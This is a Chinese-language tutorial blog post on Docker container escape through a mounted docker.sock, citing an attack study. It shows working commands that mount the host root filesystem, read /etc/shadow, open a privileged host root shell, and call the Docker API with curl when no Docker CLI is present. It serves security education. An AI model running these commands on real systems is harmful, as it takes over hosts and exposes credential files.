在 Sysdig 於 2026 年公布的 JADEPUFFER 攻擊研究中,研究人員觀察到一個很有意思的行為:攻擊者在取得 Container 內的程式執行能力後,會主動尋找 /var/run/docker.sock,甚至進一步確認自己是否能透過它與 Docker daemon 溝通。
攻擊者為什麼要尋找這個 socket?它又為什麼常被視為取得 host root 權限的入口?
接下來就進入我們今天的主題:docker.sock 容器逃逸。
我們先從 Docker 官方簡易的架構圖開始說明:
Docker daemon 透過 Registry API 去跟 Registry 溝通並下載 Image,那 Client 跟 docker daemon 是怎麼溝通的呢?
我們先來看一下官方怎麼說明:
來源:Daemon socket option
從這邊我們可以看到 Client 跟 docker daemon 都是透過 REST API 去做溝通,Docker 使用 unix domain socket 這個技術讓兩個程序做溝通,這個檔案就是 docker.sock 它預設的位置是在 /var/run/docker.sock 並且預設只有 root 跟 docker 群組的成員才可以使用。
介紹說完了,透過實作看看會發生什麼事?
我們先檢查自己現在的身分,再用 ls 來查看是不是有 docker.sock,並確認我們能不能正確使用 docker 指令:
ls -l /var/run/docker.sock
docker Images
docker ps > /dev/null ; echo $?
id

從執行結果可見,目前容器內的使用者是 root,且 docker ps 成功執行,表示我們能向 Docker daemon 發送查詢請求。接下來,嘗試要求 daemon 建立一個暫時容器,將 daemon 所在主機的根目錄 / 掛載到容器內的 /host,確認能否存取主機檔案系統;最後再透過 chroot,讓程式以 /host 作為路徑的根目錄。
可以用以下指令來確認是否掛載成功:
docker run --rm -v /:/host ubuntu:22.04 chroot /host head -n 3 /etc/shadow
docker run --rm -v /:/host ubuntu:22.04 chroot /host id

這兩個指令都會使用 ubuntu:22.04 Image 建立一個暫時性的 Container,並將 Host 的根目錄 / 掛載到 Container 內的 /host。接著透過 chroot /host,讓後續執行的程式將 /host 視為新的根目錄 /,最後分別執行 head -n 3 /etc/shadow 與 id。
用head -n 3 /etc/shadow 是為了檢查是不是真的把根目錄掛載進來,id 用來顯示程序目前的 UID。
現在我們身分確認了,根目錄確定掛載了。我們直接使用以下指令來啟動一個 root shell:
docker run --rm -it --privileged --pid=host --net=host -v /:/host ubuntu:22.04 chroot /host bash
--privileged:給新容器大幅擴張的權限,包括所有 Linux capabilities、主機裝置存取等。--pid=host:讓新容器共用主機的 PID namespace,因此能看見主機的程序。--net=host:讓容器共用主機的網路環境。容器內的程式可以透過主機的 127.0.0.1 存取主機服務,也會與主機共用連接埠。-v /:/host:把 Docker daemon 所在主機的 / 掛到新容器的 /host。未指定 :ro 時,bind mount 預設可寫。chroot /host bash:將根目錄切到 /host 並且執行 bash。
可以看到,我們已透過 Docker daemon 建立高權限容器,取得主機 root 等級的控制能力。整個流程相當直接,不需要再利用其他漏洞。
此時會有人說「如果容器裡沒有安裝 Docker CLI 不就可以沒事了嗎?」。
前面有提到 docker daemon 跟 CLI 之間的溝通方式是用 Rest API 的方式,那我直接打 API 呢?
ID=$(curl -s --unix-socket /var/run/docker.sock \
-X POST -H 'Content-Type: application/json' \
-d '{"Image":"ubuntu:22.04","Cmd":["chroot","/host","head","-n","3","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}' \
http://localhost/containers/create | sed -n 's/.*"Id":"\([0-9a-f]*\)".*/\1/p')
curl -s -o /dev/null -w "start -> HTTP %{http_code}\n" \
--unix-socket /var/run/docker.sock -X POST "http://localhost/containers/$ID/start"
curl -s --unix-socket /var/run/docker.sock \
"http://localhost/containers/$ID/logs?stdout=1&stderr=1" | tr -cd '\11\12\15\40-\176'; echo

可以看到我這裡用 curl 建立一個容器去撈 host 主機的 /etc/shadow 是有成功的,換句話說也可以用 curl 的方式讓容器主動連回攻擊者的監聽端,這就完整體現了容器掛載 docker.sock 的危險性。
從上面的內容可以看到 docker.sock 的攻擊門檻非常的低,就算沒有 docker CLI 也可以透過打 API 的方式進行攻擊,這就是為什麼 JADEPUFFER 會在容器裡面尋找 docker.sock 的原因。
謝謝大家今天的收看,我們明天見!